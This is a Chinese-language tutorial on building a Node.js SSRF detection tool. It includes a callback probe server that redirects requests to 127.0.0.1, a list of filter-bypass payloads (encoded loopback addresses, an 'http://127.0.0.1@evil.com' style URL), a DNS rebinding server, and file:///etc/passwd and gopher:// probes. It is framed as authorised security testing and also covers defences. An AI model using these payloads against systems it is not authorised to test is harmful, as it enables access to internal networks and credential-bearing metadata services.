SSRF(Server-Side Request Forgery,服务端请求伪造)是OWASP常年列入前十的高危漏洞类型。它的核心成因在于服务端在接收用户可控的URL或地址参数后,直接发起了网络请求,而没有严格校验目标地址的合法性。攻击者只需要在参数中填入内网IP、云元数据地址(如169.254.169.254)或本地管理端口,就能借服务器之手探测和访问内网资源。本文将基于Node.js编写一套自动化检测工具,系统性验证API接口的SSRF防护是否到位。

一、SSRF的攻击面与检测思路
要自动化检测SSRF,首先需要明确检测目标。典型的可疑参数包括url、callback、redirect、image、fetch、src、endpoint、host等字段名,或者是任何值为合法URL格式的参数。检测的基本方法是:构造指向受控探测地址的URL替换原始参数值,观察目标服务是否发起请求。如果探测服务器收到了请求,说明该接口存在SSRF漏洞且无基本防护。
更进一步的检测需要覆盖多种绕过手法。很多应用只做了简单的黑名单过滤,比如禁止访问127.0.0.1和localhost,这时就要测试十进制IP(2130706433)、十六进制IP(0x7f000001)、短格式IP(127.1)、IPv6回环(::1)、大小写混合域名(LOCALHOST)以及携带认证信息的URL(http://127.0.0.1@evil.com)等变体。一个完善的检测工具应该把这些payload做成字典,批量发送并统计结果。
除了直接请求,重定向也是一种常见的利用路径:目标接口可能对直接访问内网做了限制,但如果允许跟随302跳转,攻击者可以让外网地址先返回一个Location指向内网,从而绕过首层校验。检测工具需要专门验证“是否跟随重定向到内网地址”这一场景。
二、搭建探测回连服务
检测的前提是有一个能感知到“服务器来过”的回连端点。我们可以用Node.js快速实现一个HTTP探测服务,把每次收到的请求记录下来,并回传一个302重定向用于后续的重定向绕过测试。
const http = require('http');
const hits = []; // 记录所有回连事件
const server = http.createServer((req, res) => {
hits.push({
time: new Date().toISOString(),
path: req.url,
headers: req.headers
});
console.log(`[HIT] ${req.url} from ${req.socket.remoteAddress}`);
// 重定向测试:把请求引导到内网地址
if (req.url.startsWith('/redirect')) {
res.writeHead(302, { Location: 'http://127.0.0.1:8080/internal' });
res.end();
return;
}
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('pong');
});
server.listen(9000, '0.0.0.0', () => {
console.log('probe server on :9000');
});这个探测服务监听在9000端口,任何指向它的请求都会被记录。其中/redirect路径返回302并指向内网地址,专门用来测试目标接口是否会跟随重定向访问内网。在实际部署时,探测服务应部署在公网VPS上,这样才能区分“目标服务器确实发起了外发请求”与本地网络抖动造成的干扰。
回连记录中的headers字段也很有价值。通过User-Agent可以判断请求是由curl、axios还是浏览器内核发出的,从而推断目标服务的实现技术栈,为后续选择更有针对性的绕过payload提供依据。
三、编写自动化检测客户端
接下来实现检测主逻辑:定义payload字典,逐个替换目标接口的可疑参数并发送请求,同时轮询探测服务的记录接口判断是否命中。为了便于判断,探测服务可以额外暴露一个/hits查询接口,客户端通过时间戳过滤新产生的回连事件。
const axios = require('axios');
const TARGET = 'https://target-api.example-removed.com/fetch';
const PROBE = 'http://probe-host:9000';
// 常见SSRF绕过payload,{PROBE}会被替换为探测地址
const payloads = [
'{PROBE}/base',
'http://127.0.0.1:9000@{PROBE}/auth-bypass',
'http://2130706433:9000/decimal',
'http://0x7f000001:9000/hex',
'http://127.1:9000/short',
'http://[::1]:9000/ipv6',
'http://LOCALHOST.jh3sho.dns.{PROBE_HOST}/dns-rebind'
];
async function runDetection() {
const start = Date.now();
const base = new URL(PROBE);
for (const tpl of payloads) {
const payload = tpl
.replace('{PROBE}', PROBE)
.replace('{PROBE_HOST}', base.host);
try {
await axios.post(TARGET, { url: payload }, { timeout: 5000 });
console.log(`sent: ${payload}`);
} catch (e) {
console.log(`send failed: ${payload} -> ${e.message}`);
}
// 等待并查询回连结果
await new Promise(r => setTimeout(r, 1500));
const { data: hits } = await axios.get(`${PROBE}/hits?since=${start}`);
if (hits.length > 0) {
console.log(`[VULNERABLE] payload "${payload}" triggered callback!`);
}
}
}
runDetection();代码中每个payload发送后会等待1.5秒再查询回连记录,这是考虑到目标服务可能有请求排队或异步处理的延迟。如果业务允许,可以把等待时间做成可配置项,并在最终报告中标注每个payload的命中情况,输出一份结构化的JSON报告,方便接入CI流水线。
需要注意的是,timeout设置为5秒很重要。SSRF探测中目标接口经常因为访问不通的内网地址而长时间挂起,没有超时控制的话整个扫描流程会被拖垮。
四、DNS重绑定与进阶检测
对于做了IP解析校验的服务(先解析域名再判断是否为内网IP),DNS重绑定是最经典的绕过方式:让域名在第一次解析时返回公网IP通过校验,第二次解析(真正发请求时)返回127.0.0.1。实现方法是自建一个DNS服务器,对同一个域名交替返回不同结果。
const dns = require('dns');
const dgram = require('dgram');
const REBIND_DOMAIN = 'rb.example-test.net';
let toggle = false;
const server = dgram.createSocket('udp4');
server.on('message', (msg, rinfo) => {
// 简化的DNS应答构造:交替返回公网IP与127.0.0.1
const answerIP = (toggle = !toggle) ? '1.2.3.4' : '127.0.0.1';
const domainParts = REBIND_DOMAIN.split('.');
let q = Buffer.from([0xc0, 0x0c]); // 指针指向问题区域
const rr = Buffer.alloc(16);
rr.writeUInt16BE(0x0001, 0); // TYPE A
rr.writeUInt16BE(0x0001, 2); // CLASS IN
rr.writeUInt32BE(0, 4); // TTL 0,禁止缓存
rr.writeUInt16BE(4, 8); // RDLENGTH
rr.writeUInt32BE(
parseInt(answerIP.split('.')[0]) * 16777216 +
parseInt(answerIP.split('.')[1]) * 65536 +
parseInt(answerIP.split('.')[2]) * 256 +
parseInt(answerIP.split('.')[3]), 12);
const response = Buffer.concat([msg.slice(0, 2), Buffer.from([0x81, 0x80]),
msg.slice(4, 6), msg.slice(4, 6), Buffer.from([0, 0, 0, 0]), q, rr]);
server.send(response, rinfo.port, rinfo.address);
});
server.bind(53, () => console.log('DNS rebinding server on :53'));上面是一个极简的DNS应答实现,实际项目中建议直接使用dns-rebindit这类现成库,或者使用外部提供的重绑定服务域名。TTL设置为0是关键,它强制目标服务每次都重新解析,确保两次解析结果不一致。将重绑定域名作为payload发送给目标接口后,如果探测服务的内网端口收到请求,说明目标存在TOCTOU(检查与使用不一致)型SSRF漏洞。
另一个进阶场景是协议滥用。如果目标服务使用了curl或类似库,攻击者可能通过file:///etc/passwd、gopher://等协议读取文件或构造任意TCP报文。检测时可以把这类URL也加入payload字典,通过观察接口返回内容是否包含文件特征(如root:x:0开头的字符串)来判断是否存在风险。
五、误报处理与工程化建议
自动化检测最大的挑战是误报。比如目标接口访问探测地址后立即报错,并不代表它对内网同样放行;反之,某些WAF会拦截外发请求导致漏报。降低误报的常用手段是多重验证:先用DNS日志确认目标发起了域名解析,再用HTTP回连确认请求到达,两个证据链同时成立才判定为漏洞。
在工程化方面,建议把检测脚本封装成标准的CLI工具,支持从OpenAPI文档自动提取含URL类型参数的接口清单,批量扫描并输出报告。同时务必只对自己拥有授权的系统进行测试,未经许可的SSRF扫描可能违反法律法规。扫描频率也要控制,避免对目标服务的出网带宽和连接池造成压力。
防护侧的对策同样值得了解,这有助于设计更全面的检测用例:严格限制允许请求的协议仅为HTTP/HTTPS、解析域名后校验真实IP是否属于内网段、禁用重定向或对每一跳重新校验、使用网络层隔离让应用服务器不具备直达内网的路由。只有当这些防护逐一被验证有效后,一个接口才能被认为是安全的。通过Node.js实现的这套自动化方案,可以让你在每次API变更时快速回归SSRF防护状态,把安全左移落到实处。